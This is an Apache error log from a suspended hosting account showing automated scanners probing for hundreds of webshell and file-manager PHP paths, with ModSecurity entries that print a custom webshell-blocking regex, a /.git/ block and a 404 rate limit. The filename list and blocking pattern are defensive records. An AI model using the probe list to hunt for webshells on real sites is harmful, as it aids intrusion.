[Tue Apr 21 15:35:28.903209 2026] [:error] [pid 35415:tid 35439] [client 45.86.200.218:57283] [client 45.86.200.218] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/(?:tinyfilemanager(?:\\\\.php)?|filemanager\\\\.php|fm\\\\.php|tiny\\\\.php|wp-content/plugins/pwnd/pwnd\\\\.php|wp-includes/(?:block-supports/autoload_classmap\\\\.php|Text/Diff/Engine/wp\\\\.php|blocks/details/about\\\\.php))$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "29"] [id "771002"] [msg "Blocked probe for known bad path/file manager/webshell"] [tag "probes"] [tag "wordpress"] [hostname "windfarmcoolants.com.au"] [uri "/tinyfilemanager.php"] [unique_id "aecowEiqDinI4_22zzhUHwAAAMw"]
[Tue Apr 21 15:35:29.450299 2026] [:error] [pid 35321:tid 35395] [client 185.82.72.179:53079] File does not exist: /usr/local/apache/htdocs/suspended-page/bless.php
[Tue Apr 21 15:35:29.737045 2026] [:error] [pid 35321:tid 35405] [client 185.82.72.179:53079] File does not exist: /usr/local/apache/htdocs/suspended-page/wp-trackback.php
[Tue Apr 21 15:35:30.021181 2026] [:error] [pid 35321:tid 35406] [client 185.82.72.179:53079] File does not exist: /usr/local/apache/htdocs/suspended-page/info.php
[Tue Apr 21 15:35:30.314956 2026] [:error] [pid 35321:tid 35390] [client 185.82.72.179:53079] File does not exist: /usr/local/apache/htdocs/suspended-page/readme.php
[Tue Apr 21 15:35:30.638592 2026] [:error] [pid 35321:tid 35384] [client 185.82.72.179:53079] File does not exist: /usr/local/apache/htdocs/suspended-page/wp-file.php
[Tue Apr 21 15:35:30.968210 2026] [:error] [pid 35321:tid 35404] [client 185.82.72.179:53079] File does not exist: /usr/local/apache/htdocs/suspended-page/marijuana.php
[Tue Apr 21 15:35:31.264520 2026] [:error] [pid 35321:tid 35401] [client 185.82.72.179:53079] File does not exist: /usr/local/apache/htdocs/suspended-page/mini.php
[Tue Apr 21 15:35:31.550322 2026] [:error] [pid 35321:tid 35395] [client 185.82.72.179:53079] File does not exist: /usr/local/apache/htdocs/suspended-page/bk.php
[Tue Apr 21 15:35:31.835595 2026] [:error] [pid 35321:tid 35401] [client 185.82.72.179:53079] File does not exist: /usr/local/apache/htdocs/suspended-page/wpn.php
[Tue Apr 21 15:35:32.116899 2026] [:error] [pid 35321:tid 35407] [client 185.82.72.179:53079] File does not exist: /usr/local/apache/htdocs/suspended-page/robots.php
[Tue Apr 21 15:35:32.401769 2026] [:error] [pid 35321:tid 35406] [client 185.82.72.179:53079] File does not exist: /usr/local/apache/htdocs/suspended-page/wp-class.php
[Tue Apr 21 15:35:32.677330 2026] [:error] [pid 35321:tid 35405] [client 185.82.72.179:53079] File does not exist: /usr/local/apache/htdocs/suspended-page/wp-sigunq.php
[Tue Apr 21 15:35:32.949370 2026] [:error] [pid 35321:tid 35390] [client 185.82.72.179:53079] File does not exist: /usr/local/apache/htdocs/suspended-page/wp-atom.php
[Tue Apr 21 15:35:33.239166 2026] [:error] [pid 35321:tid 35397] [client 185.82.72.179:53079] File does not exist: /usr/local/apache/htdocs/suspended-page/alfanew.php
[Tue Apr 21 15:35:33.519260 2026] [:error] [pid 35321:tid 35384] [client 185.82.72.179:53079] File does not exist: /usr/local/apache/htdocs/suspended-page/lock.php
[Tue Apr 21 15:35:33.799890 2026] [:error] [pid 35321:tid 35400] [client 185.82.72.179:53079] File does not exist: /usr/local/apache/htdocs/suspended-page/fw.php
[Tue Apr 21 15:35:34.103661 2026] [:error] [pid 35321:tid 35395] [client 185.82.72.179:53079] File does not exist: /usr/local/apache/htdocs/suspended-page/hehe.php
[Tue Apr 21 15:35:34.384269 2026] [:error] [pid 35321:tid 35402] [client 185.82.72.179:53079] File does not exist: /usr/local/apache/htdocs/suspended-page/sym.php
[Tue Apr 21 15:35:34.663228 2026] [:error] [pid 35321:tid 35400] [client 185.82.72.179:53079] File does not exist: /usr/local/apache/htdocs/suspended-page/sys.php
[Tue Apr 21 15:35:34.946948 2026] [:error] [pid 35321:tid 35400] [client 185.82.72.179:53079] File does not exist: /usr/local/apache/htdocs/suspended-page/wp-user.php
[Tue Apr 21 15:35:35.224317 2026] [:error] [pid 35321:tid 35399] [client 185.82.72.179:53079] File does not exist: /usr/local/apache/htdocs/suspended-page/wp-editor.php
[Tue Apr 21 15:35:35.529149 2026] [:error] [pid 35321:tid 35384] [client 185.82.72.179:53079] File does not exist: /usr/local/apache/htdocs/suspended-page/hehehehe.php
[Tue Apr 21 15:35:35.805121 2026] [:error] [pid 35321:tid 35393] [client 185.82.72.179:53079] File does not exist: /usr/local/apache/htdocs/suspended-page/wp-settings.php
[Tue Apr 21 15:35:36.091080 2026] [:error] [pid 35321:tid 35400] [client 185.82.72.179:53079] File does not exist: /usr/local/apache/htdocs/suspended-page/makeasmtp.php
[Tue Apr 21 15:35:36.373266 2026] [:error] [pid 35321:tid 35390] [client 185.82.72.179:53079] File does not exist: /usr/local/apache/htdocs/suspended-page/wp-content.php
[Tue Apr 21 15:35:36.648056 2026] [:error] [pid 35321:tid 35403] [client 185.82.72.179:53079] File does not exist: /usr/local/apache/htdocs/suspended-page/wp-db.php
[Tue Apr 21 15:35:36.918253 2026] [:error] [pid 35321:tid 35395] [client 185.82.72.179:53079] File does not exist: /usr/local/apache/htdocs/suspended-page/options-reading.php
[Tue Apr 21 15:35:37.206442 2026] [:error] [pid 35321:tid 35384] [client 185.82.72.179:53079] File does not exist: /usr/local/apache/htdocs/suspended-page/alfa.php
[Tue Apr 21 15:35:37.936913 2026] [:error] [pid 35321:tid 35384] [client 185.82.72.179:53079] File does not exist: /usr/local/apache/htdocs/suspended-page/cmd.php
[Tue Apr 21 15:35:38.212787 2026] [:error] [pid 35321:tid 35401] [client 185.82.72.179:53079] File does not exist: /usr/local/apache/htdocs/suspended-page/class.api.php
[Tue Apr 21 15:35:38.504264 2026] [:error] [pid 35321:tid 35399] [client 185.82.72.179:53079] File does not exist: /usr/local/apache/htdocs/suspended-page/xl2023.php
[Tue Apr 21 15:35:38.790663 2026] [:error] [pid 35321:tid 35402] [client 185.82.72.179:53079] File does not exist: /usr/local/apache/htdocs/suspended-page/wp-head.php
[Tue Apr 21 15:35:39.091586 2026] [:error] [pid 35321:tid 35398] [client 185.82.72.179:53079] File does not exist: /usr/local/apache/htdocs/suspended-page/wp-admin.php
[Tue Apr 21 15:35:39.374866 2026] [:error] [pid 35321:tid 35401] [client 185.82.72.179:53079] File does not exist: /usr/local/apache/htdocs/suspended-page/mah.php
[Tue Apr 21 15:35:39.657959 2026] [:error] [pid 35321:tid 35407] [client 185.82.72.179:53079] File does not exist: /usr/local/apache/htdocs/suspended-page/go.php
[Tue Apr 21 15:35:39.931985 2026] [:error] [pid 35321:tid 35393] [client 185.82.72.179:53079] File does not exist: /usr/local/apache/htdocs/suspended-page/byp.php
[Tue Apr 21 15:35:40.215377 2026] [:error] [pid 35321:tid 35391] [client 185.82.72.179:53079] File does not exist: /usr/local/apache/htdocs/suspended-page/in.php
[Tue Apr 21 15:35:40.498246 2026] [:error] [pid 35321:tid 35386] [client 185.82.72.179:53079] File does not exist: /usr/local/apache/htdocs/suspended-page/geju.php
[Tue Apr 21 15:35:40.767384 2026] [:error] [pid 35321:tid 35393] [client 185.82.72.179:53079] File does not exist: /usr/local/apache/htdocs/suspended-page/wp-signup.php
[Tue Apr 21 15:35:41.053687 2026] [:error] [pid 35321:tid 35400] [client 185.82.72.179:53079] File does not exist: /usr/local/apache/htdocs/suspended-page/wp-l0gin.php
[Tue Apr 21 15:35:41.332115 2026] [:error] [pid 35321:tid 35408] [client 185.82.72.179:53079] File does not exist: /usr/local/apache/htdocs/suspended-page/bypass.php
[Tue Apr 21 15:35:41.608525 2026] [:error] [pid 35321:tid 35404] [client 185.82.72.179:53079] File does not exist: /usr/local/apache/htdocs/suspended-page/wp-activate.php
[Tue Apr 21 15:35:41.978195 2026] [:error] [pid 35321:tid 35406] [client 185.82.72.179:53079] File does not exist: /usr/local/apache/htdocs/suspended-page/a.php
[Tue Apr 21 15:35:42.265857 2026] [:error] [pid 35321:tid 35395] [client 185.82.72.179:53079] File does not exist: /usr/local/apache/htdocs/suspended-page/randkeyword.php
[Tue Apr 21 15:35:43.089870 2026] [:error] [pid 35321:tid 35395] [client 185.82.72.179:53079] File does not exist: /usr/local/apache/htdocs/suspended-page/lv.php
[Tue Apr 21 15:35:43.372660 2026] [:error] [pid 35321:tid 35388] [client 185.82.72.179:53079] File does not exist: /usr/local/apache/htdocs/suspended-page/jp.php
[Tue Apr 21 15:35:43.653050 2026] [:error] [pid 35321:tid 35404] [client 185.82.72.179:53079] File does not exist: /usr/local/apache/htdocs/suspended-page/wp-cron.php
[Tue Apr 21 15:35:43.957295 2026] [:error] [pid 35321:tid 35391] [client 185.82.72.179:53079] File does not exist: /usr/local/apache/htdocs/suspended-page/about.php
[Tue Apr 21 15:35:44.232717 2026] [:error] [pid 35321:tid 35393] [client 185.82.72.179:53079] File does not exist: /usr/local/apache/htdocs/suspended-page/wp-links.php
[Tue Apr 21 15:35:44.546138 2026] [:error] [pid 35321:tid 35406] [client 185.82.72.179:53079] File does not exist: /usr/local/apache/htdocs/suspended-page/wp-info.php
[Tue Apr 21 15:35:44.843742 2026] [:error] [pid 35321:tid 35401] [client 185.82.72.179:53079] File does not exist: /usr/local/apache/htdocs/suspended-page/wp-config-sample.php
[Tue Apr 21 15:35:45.128133 2026] [:error] [pid 35321:tid 35399] [client 185.82.72.179:53079] File does not exist: /usr/local/apache/htdocs/suspended-page/manager.php
[Tue Apr 21 15:35:45.401450 2026] [:error] [pid 35321:tid 35401] [client 185.82.72.179:53079] File does not exist: /usr/local/apache/htdocs/suspended-page/functions.php
[Tue Apr 21 15:35:45.710060 2026] [:error] [pid 35321:tid 35400] [client 185.82.72.179:53079] File does not exist: /usr/local/apache/htdocs/suspended-page/wp-mail.php
[Tue Apr 21 15:35:45.993601 2026] [:error] [pid 35321:tid 35405] [client 185.82.72.179:53079] File does not exist: /usr/local/apache/htdocs/suspended-page/f35.php
[Tue Apr 21 15:35:46.270441 2026] [:error] [pid 35321:tid 35399] [client 185.82.72.179:53079] File does not exist: /usr/local/apache/htdocs/suspended-page/wp-configs.php
[Tue Apr 21 15:35:46.563974 2026] [:error] [pid 35321:tid 35393] [client 185.82.72.179:53079] File does not exist: /usr/local/apache/htdocs/suspended-page/style.php
[Tue Apr 21 15:35:46.841677 2026] [:error] [pid 35321:tid 35386] [client 185.82.72.179:53079] File does not exist: /usr/local/apache/htdocs/suspended-page/wp-set.php
[Tue Apr 21 15:35:47.114613 2026] [:error] [pid 35321:tid 35393] [client 185.82.72.179:53079] File does not exist: /usr/local/apache/htdocs/suspended-page/wp-setup.php
[Tue Apr 21 15:35:47.404934 2026] [:error] [pid 35321:tid 35386] [client 185.82.72.179:53079] File does not exist: /usr/local/apache/htdocs/suspended-page/header.php
[Tue Apr 21 15:35:47.748104 2026] [:error] [pid 35321:tid 35394] [client 185.82.72.179:53079] File does not exist: /usr/local/apache/htdocs/suspended-page/gecko.php
[Tue Apr 21 15:35:48.024973 2026] [:error] [pid 35321:tid 35403] [client 185.82.72.179:53079] File does not exist: /usr/local/apache/htdocs/suspended-page/upload.php
[Tue Apr 21 15:35:48.313683 2026] [:error] [pid 35321:tid 35405] [client 185.82.72.179:53079] File does not exist: /usr/local/apache/htdocs/suspended-page/init.php
[Tue Apr 21 15:35:48.604632 2026] [:error] [pid 35321:tid 35400] [client 185.82.72.179:53079] File does not exist: /usr/local/apache/htdocs/suspended-page/wp-blog.php
[Tue Apr 21 15:35:48.885933 2026] [:error] [pid 35321:tid 35392] [client 185.82.72.179:53079] File does not exist: /usr/local/apache/htdocs/suspended-page/lock360.php
[Tue Apr 21 15:35:49.163997 2026] [:error] [pid 35321:tid 35393] [client 185.82.72.179:53079] File does not exist: /usr/local/apache/htdocs/suspended-page/x.php
[Tue Apr 21 15:35:49.456955 2026] [:error] [pid 35321:tid 35392] [client 185.82.72.179:53079] File does not exist: /usr/local/apache/htdocs/suspended-page/wp_info.php
[Tue Apr 21 15:35:49.763076 2026] [:error] [pid 35321:tid 35400] [client 185.82.72.179:53079] File does not exist: /usr/local/apache/htdocs/suspended-page/xml.php
[Tue Apr 21 15:35:50.036716 2026] [:error] [pid 35321:tid 35388] [client 185.82.72.179:53079] File does not exist: /usr/local/apache/htdocs/suspended-page/by.php
[Tue Apr 21 15:35:50.319661 2026] [:error] [pid 35321:tid 35399] [client 185.82.72.179:53079] File does not exist: /usr/local/apache/htdocs/suspended-page/default.php
[Tue Apr 21 15:35:50.613958 2026] [:error] [pid 35321:tid 35406] [client 185.82.72.179:53079] File does not exist: /usr/local/apache/htdocs/suspended-page/simple.php
[Tue Apr 21 15:35:50.941060 2026] [:error] [pid 35321:tid 35399] [client 185.82.72.179:53079] File does not exist: /usr/local/apache/htdocs/suspended-page/adminfuns.php
[Tue Apr 21 15:35:51.217190 2026] [:error] [pid 35321:tid 35406] [client 185.82.72.179:53079] File does not exist: /usr/local/apache/htdocs/suspended-page/cjfuns.php
[Tue Apr 21 15:35:51.561663 2026] [:error] [pid 35321:tid 35386] [client 185.82.72.179:53079] File does not exist: /usr/local/apache/htdocs/suspended-page/filefuns.php
[Tue Apr 21 15:35:51.862869 2026] [:error] [pid 35321:tid 35401] [client 185.82.72.179:53079] File does not exist: /usr/local/apache/htdocs/suspended-page/thoms.php
[Tue Apr 21 15:35:52.135787 2026] [:error] [pid 35321:tid 35405] [client 185.82.72.179:53079] File does not exist: /usr/local/apache/htdocs/suspended-page/postnews.php
[Tue Apr 21 15:35:52.448848 2026] [:error] [pid 35321:tid 35394] [client 185.82.72.179:53079] File does not exist: /usr/local/apache/htdocs/suspended-page/media.php
[Tue Apr 21 15:35:53.000811 2026] [:error] [pid 35321:tid 35403] [client 185.82.72.179:53079] File does not exist: /usr/local/apache/htdocs/suspended-page/bs.php
[Tue Apr 21 15:35:53.278110 2026] [:error] [pid 35321:tid 35388] [client 185.82.72.179:53079] File does not exist: /usr/local/apache/htdocs/suspended-page/checkbox.php
[Tue Apr 21 15:35:53.594447 2026] [:error] [pid 35321:tid 35405] [client 185.82.72.179:53079] File does not exist: /usr/local/apache/htdocs/suspended-page/export.php
[Tue Apr 21 15:35:53.867812 2026] [:error] [pid 35321:tid 35388] [client 185.82.72.179:53079] File does not exist: /usr/local/apache/htdocs/suspended-page/privacy.php
[Tue Apr 21 15:35:54.154492 2026] [:error] [pid 35321:tid 35406] [client 185.82.72.179:53079] File does not exist: /usr/local/apache/htdocs/suspended-page/tools.php
[Tue Apr 21 15:35:54.429995 2026] [:error] [pid 35321:tid 35388] [client 185.82.72.179:53079] File does not exist: /usr/local/apache/htdocs/suspended-page/webdb.php
[Tue Apr 21 15:35:54.722357 2026] [:error] [pid 35321:tid 35394] [client 185.82.72.179:53079] File does not exist: /usr/local/apache/htdocs/suspended-page/class.php
[Tue Apr 21 15:35:55.023972 2026] [:error] [pid 35321:tid 35388] [client 185.82.72.179:53079] File does not exist: /usr/local/apache/htdocs/suspended-page/sts.php
[Tue Apr 21 15:35:55.309261 2026] [:error] [pid 35321:tid 35407] [client 185.82.72.179:53079] File does not exist: /usr/local/apache/htdocs/suspended-page/st.php
[Tue Apr 21 15:35:55.596571 2026] [:error] [pid 35321:tid 35391] [client 185.82.72.179:53079] File does not exist: /usr/local/apache/htdocs/suspended-page/GA13.php
[Tue Apr 21 15:35:56.171190 2026] [:error] [pid 35321:tid 35393] [client 185.82.72.179:53079] File does not exist: /usr/local/apache/htdocs/suspended-page/content.php
[Tue Apr 21 15:35:56.458252 2026] [:error] [pid 35321:tid 35386] [client 185.82.72.179:53079] File does not exist: /usr/local/apache/htdocs/suspended-page/locks.php
[Tue Apr 21 15:35:57.018539 2026] [:error] [pid 35321:tid 35392] [client 185.82.72.179:53079] File does not exist: /usr/local/apache/htdocs/suspended-page/wp-themes.php
[Tue Apr 21 15:35:57.310176 2026] [:error] [pid 35321:tid 35397] [client 185.82.72.179:53079] File does not exist: /usr/local/apache/htdocs/suspended-page/wp-uploads.php
[Tue Apr 21 15:35:57.631283 2026] [:error] [pid 35321:tid 35402] [client 185.82.72.179:53079] File does not exist: /usr/local/apache/htdocs/suspended-page/wp-files.php
[Tue Apr 21 15:35:57.923285 2026] [:error] [pid 35321:tid 35394] [client 185.82.72.179:53079] File does not exist: /usr/local/apache/htdocs/suspended-page/t.php
[Tue Apr 21 15:35:58.230484 2026] [:error] [pid 35321:tid 35395] [client 185.82.72.179:53079] File does not exist: /usr/local/apache/htdocs/suspended-page/wp-load.php
[Tue Apr 21 15:35:58.504269 2026] [:error] [pid 35321:tid 35399] [client 185.82.72.179:53079] File does not exist: /usr/local/apache/htdocs/suspended-page/cache.php
[Tue Apr 21 15:35:58.782696 2026] [:error] [pid 35321:tid 35394] [client 185.82.72.179:53079] File does not exist: /usr/local/apache/htdocs/suspended-page/xmrlpc.php
[Tue Apr 21 15:35:59.122710 2026] [:error] [pid 35321:tid 35384] [client 185.82.72.179:53079] File does not exist: /usr/local/apache/htdocs/suspended-page/torsa.php
[Tue Apr 21 15:35:59.404759 2026] [:error] [pid 35321:tid 35404] [client 185.82.72.179:53079] File does not exist: /usr/local/apache/htdocs/suspended-page/wp-zx.php
[Tue Apr 21 15:36:01.106886 2026] [:error] [pid 35321:tid 35404] [client 45.86.200.231:23731] File does not exist: /usr/local/apache/htdocs/suspended-page/gifclass.php
[Tue Apr 21 15:36:01.976915 2026] [:error] [pid 35321:tid 35404] [client 45.86.200.231:23731] File does not exist: /usr/local/apache/htdocs/suspended-page/fiyhxaae.php
[Tue Apr 21 15:36:02.280050 2026] [:error] [pid 35321:tid 35399] [client 45.86.200.231:23731] File does not exist: /usr/local/apache/htdocs/suspended-page/gfd.php
[Tue Apr 21 15:36:02.576581 2026] [:error] [pid 35321:tid 35390] [client 45.86.200.231:23731] File does not exist: /usr/local/apache/htdocs/suspended-page/rh.php
[Tue Apr 21 15:36:02.919640 2026] [:error] [pid 35321:tid 35406] [client 45.86.200.231:23731] File does not exist: /usr/local/apache/htdocs/suspended-page/wp-temp.php
[Tue Apr 21 15:36:03.218982 2026] [:error] [pid 35321:tid 35408] [client 45.86.200.231:23731] File does not exist: /usr/local/apache/htdocs/suspended-page/Okxob.php
[Tue Apr 21 15:36:03.504039 2026] [:error] [pid 35321:tid 35389] [client 45.86.200.231:23731] File does not exist: /usr/local/apache/htdocs/suspended-page/x123x.php
[Tue Apr 21 15:36:03.872868 2026] [:error] [pid 35321:tid 35408] [client 45.86.200.231:23731] File does not exist: /usr/local/apache/htdocs/suspended-page/amax.php
[Tue Apr 21 15:36:04.157394 2026] [:error] [pid 35321:tid 35396] [client 45.86.200.231:23731] File does not exist: /usr/local/apache/htdocs/suspended-page/aaa.php
[Tue Apr 21 15:36:04.443154 2026] [:error] [pid 35321:tid 35397] [client 45.86.200.231:23731] File does not exist: /usr/local/apache/htdocs/suspended-page/eetu.php
[Tue Apr 21 15:36:05.001138 2026] [:error] [pid 35321:tid 35386] [client 45.86.200.231:23731] File does not exist: /usr/local/apache/htdocs/suspended-page/finami.php
[Tue Apr 21 15:36:05.301328 2026] [:error] [pid 35321:tid 35394] [client 45.86.200.231:23731] File does not exist: /usr/local/apache/htdocs/suspended-page/htto.php
[Tue Apr 21 15:36:05.570277 2026] [:error] [pid 35321:tid 35398] [client 45.86.200.231:23731] [client 45.86.200.231] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/options-head.php"] [unique_id "aeco5TeHLhVUuu8cVXyj5QAAAE4"]
[Tue Apr 21 15:36:06.125382 2026] [:error] [pid 35321:tid 35398] [client 45.86.200.217:45747] File does not exist: /usr/local/apache/htdocs/suspended-page/options-head.php
[Tue Apr 21 15:36:06.411571 2026] [:error] [pid 35321:tid 35393] [client 45.86.200.217:45747] File does not exist: /usr/local/apache/htdocs/suspended-page/rithin.php
[Tue Apr 21 15:36:06.715546 2026] [:error] [pid 35321:tid 35384] [client 45.86.200.217:45747] File does not exist: /usr/local/apache/htdocs/suspended-page/gettest.php
[Tue Apr 21 15:36:06.984116 2026] [:error] [pid 35321:tid 35384] [client 45.86.200.217:45747] File does not exist: /usr/local/apache/htdocs/suspended-page/wefile.php
[Tue Apr 21 15:36:07.279513 2026] [:error] [pid 35321:tid 35408] [client 45.86.200.217:45747] File does not exist: /usr/local/apache/htdocs/suspended-page/8xyz.php
[Tue Apr 21 15:36:07.897778 2026] [:error] [pid 35321:tid 35408] [client 45.86.200.217:45747] File does not exist: /usr/local/apache/htdocs/suspended-page/tfm.php
[Tue Apr 21 15:36:08.188914 2026] [:error] [pid 35321:tid 35406] [client 45.86.200.217:45747] File does not exist: /usr/local/apache/htdocs/suspended-page/asf.php
[Tue Apr 21 15:36:08.457417 2026] [:error] [pid 35321:tid 35406] [client 45.86.200.217:45747] [client 45.86.200.217] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.git/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "windfarmcoolants.com.au"] [uri "/.git/execute.php"] [unique_id "aeco6DeHLhVUuu8cVXykJQAAAFY"]
[Tue Apr 21 15:36:09.560377 2026] [:error] [pid 35321:tid 35384] [client 45.86.200.246:53309] File does not exist: /usr/local/apache/htdocs/suspended-page/bengi.php
[Tue Apr 21 15:36:09.847990 2026] [:error] [pid 35321:tid 35406] [client 45.86.200.246:53309] File does not exist: /usr/local/apache/htdocs/suspended-page/0xD.php
[Tue Apr 21 15:36:10.114019 2026] [:error] [pid 35321:tid 35404] [client 45.86.200.246:53309] File does not exist: /usr/local/apache/htdocs/suspended-page/wp-upload.php
[Tue Apr 21 15:36:10.435882 2026] [:error] [pid 35321:tid 35408] [client 45.86.200.246:53309] File does not exist: /usr/local/apache/htdocs/suspended-page/ew.php
[Tue Apr 21 15:36:10.737536 2026] [:error] [pid 35321:tid 35404] [client 45.86.200.246:53309] File does not exist: /usr/local/apache/htdocs/suspended-page/wp-aa.php
[Tue Apr 21 15:36:11.020972 2026] [:error] [pid 35321:tid 35404] [client 45.86.200.246:53309] File does not exist: /usr/local/apache/htdocs/suspended-page/wp-freya.php
[Tue Apr 21 15:36:11.307641 2026] [:error] [pid 35321:tid 35401] [client 45.86.200.246:53309] File does not exist: /usr/local/apache/htdocs/suspended-page/wp-blogs.php
[Tue Apr 21 15:36:11.579986 2026] [:error] [pid 35321:tid 35384] [client 45.86.200.246:53309] File does not exist: /usr/local/apache/htdocs/suspended-page/hplfuns.php
[Tue Apr 21 15:36:11.861386 2026] [:error] [pid 35321:tid 35404] [client 45.86.200.246:53309] File does not exist: /usr/local/apache/htdocs/suspended-page/src_api.php
[Tue Apr 21 15:36:12.153532 2026] [:error] [pid 35321:tid 35404] [client 45.86.200.246:53309] File does not exist: /usr/local/apache/htdocs/suspended-page/aves.php
[Tue Apr 21 15:36:12.712751 2026] [:error] [pid 35321:tid 35404] [client 45.86.200.246:53309] File does not exist: /usr/local/apache/htdocs/suspended-page/options-writing.php
[Tue Apr 21 15:36:13.018559 2026] [:error] [pid 35321:tid 35404] [client 45.86.200.246:53309] File does not exist: /usr/local/apache/htdocs/suspended-page/ms-edit.php
[Tue Apr 21 15:36:13.321558 2026] [:error] [pid 35321:tid 35404] [client 45.86.200.246:53309] File does not exist: /usr/local/apache/htdocs/suspended-page/vanda.php
[Tue Apr 21 15:36:13.600690 2026] [:error] [pid 35321:tid 35405] [client 45.86.200.246:53309] File does not exist: /usr/local/apache/htdocs/suspended-page/clss.php
[Tue Apr 21 15:36:14.184959 2026] [:error] [pid 35321:tid 35399] [client 45.86.200.246:53309] File does not exist: /usr/local/apache/htdocs/suspended-page/torsa1.php
[Tue Apr 21 15:36:14.483421 2026] [:error] [pid 35321:tid 35399] [client 45.86.200.246:53309] File does not exist: /usr/local/apache/htdocs/suspended-page/wp-fclass.php
[Tue Apr 21 15:36:14.759987 2026] [:error] [pid 35321:tid 35400] [client 45.86.200.246:53309] File does not exist: /usr/local/apache/htdocs/suspended-page/wp-ccv.php
[Tue Apr 21 15:36:29.435837 2026] [:error] [pid 35321:tid 35400] [client 45.86.200.246:53309] File does not exist: /usr/local/apache/htdocs/suspended-page/xoot.php
[Tue Apr 21 15:36:31.721347 2026] [:error] [pid 35320:tid 35350] [client 185.82.72.102:41045] File does not exist: /usr/local/apache/htdocs/suspended-page/chosen.php
[Tue Apr 21 15:36:31.990861 2026] [:error] [pid 35320:tid 35334] [client 185.82.72.102:41045] File does not exist: /usr/local/apache/htdocs/suspended-page/cong.php
[Tue Apr 21 15:36:32.283427 2026] [:error] [pid 35320:tid 35353] [client 185.82.72.102:41045] File does not exist: /usr/local/apache/htdocs/suspended-page/atomlib.php
[Tue Apr 21 15:36:32.560048 2026] [:error] [pid 35320:tid 35354] [client 185.82.72.102:41045] File does not exist: /usr/local/apache/htdocs/suspended-page/css.php
[Tue Apr 21 15:36:32.840833 2026] [:error] [pid 35320:tid 35348] [client 185.82.72.102:41045] File does not exist: /usr/local/apache/htdocs/suspended-page/log.php
[Tue Apr 21 15:36:33.114197 2026] [:error] [pid 35320:tid 35344] [client 185.82.72.102:41045] File does not exist: /usr/local/apache/htdocs/suspended-page/0x.php
[Tue Apr 21 15:36:33.389791 2026] [:error] [pid 35320:tid 35349] [client 185.82.72.102:41045] File does not exist: /usr/local/apache/htdocs/suspended-page/aa.php
[Tue Apr 21 15:36:33.678835 2026] [:error] [pid 35320:tid 35345] [client 185.82.72.102:41045] File does not exist: /usr/local/apache/htdocs/suspended-page/doc.php
[Tue Apr 21 15:36:33.958665 2026] [:error] [pid 35320:tid 35350] [client 185.82.72.102:41045] File does not exist: /usr/local/apache/htdocs/suspended-page/elp.php
[Tue Apr 21 15:36:34.235501 2026] [:error] [pid 35320:tid 35353] [client 185.82.72.102:41045] [client 185.82.72.102] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/(?:tinyfilemanager(?:\\\\.php)?|filemanager\\\\.php|fm\\\\.php|tiny\\\\.php|wp-content/plugins/pwnd/pwnd\\\\.php|wp-includes/(?:block-supports/autoload_classmap\\\\.php|Text/Diff/Engine/wp\\\\.php|blocks/details/about\\\\.php))$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "29"] [id "771002"] [msg "Blocked probe for known bad path/file manager/webshell"] [tag "probes"] [tag "wordpress"] [hostname "windfarmcoolants.com.au"] [uri "/tiny.php"] [unique_id "aecpAoJW6fdXWO6agMEa1wAAABc"]
[Tue Apr 21 15:36:34.367267 2026] [:error] [pid 35321:tid 35396] [client 45.86.200.223:64641] File does not exist: /usr/local/apache/htdocs/suspended-page/wp-links.php
[Tue Apr 21 15:36:34.805507 2026] [:error] [pid 53832:tid 53844] [client 45.86.200.223:43767] File does not exist: /usr/local/apache/htdocs/suspended-page/edit.php
[Tue Apr 21 15:36:35.072887 2026] [:error] [pid 53832:tid 53855] [client 45.86.200.223:43767] [client 45.86.200.223] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/(?:tinyfilemanager(?:\\\\.php)?|filemanager\\\\.php|fm\\\\.php|tiny\\\\.php|wp-content/plugins/pwnd/pwnd\\\\.php|wp-includes/(?:block-supports/autoload_classmap\\\\.php|Text/Diff/Engine/wp\\\\.php|blocks/details/about\\\\.php))$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "29"] [id "771002"] [msg "Blocked probe for known bad path/file manager/webshell"] [tag "probes"] [tag "wordpress"] [hostname "windfarmcoolants.com.au"] [uri "/fm.php"] [unique_id "aecpA9zkuxsE_OhM9UITQAAAAlQ"]
[Tue Apr 21 15:36:35.650773 2026] [:error] [pid 35321:tid 35401] [client 45.86.200.236:36465] File does not exist: /usr/local/apache/htdocs/suspended-page/dir.php
[Tue Apr 21 15:36:35.947017 2026] [:error] [pid 35321:tid 35408] [client 45.86.200.236:36465] File does not exist: /usr/local/apache/htdocs/suspended-page/edit-tags.php
[Tue Apr 21 15:36:36.240780 2026] [:error] [pid 35321:tid 35394] [client 45.86.200.236:36465] File does not exist: /usr/local/apache/htdocs/suspended-page/bak.php
[Tue Apr 21 15:36:36.533552 2026] [:error] [pid 35321:tid 35388] [client 45.86.200.236:36465] File does not exist: /usr/local/apache/htdocs/suspended-page/wp.php
[Tue Apr 21 15:36:36.832618 2026] [:error] [pid 35321:tid 35390] [client 45.86.200.236:36465] File does not exist: /usr/local/apache/htdocs/suspended-page/system_log.php
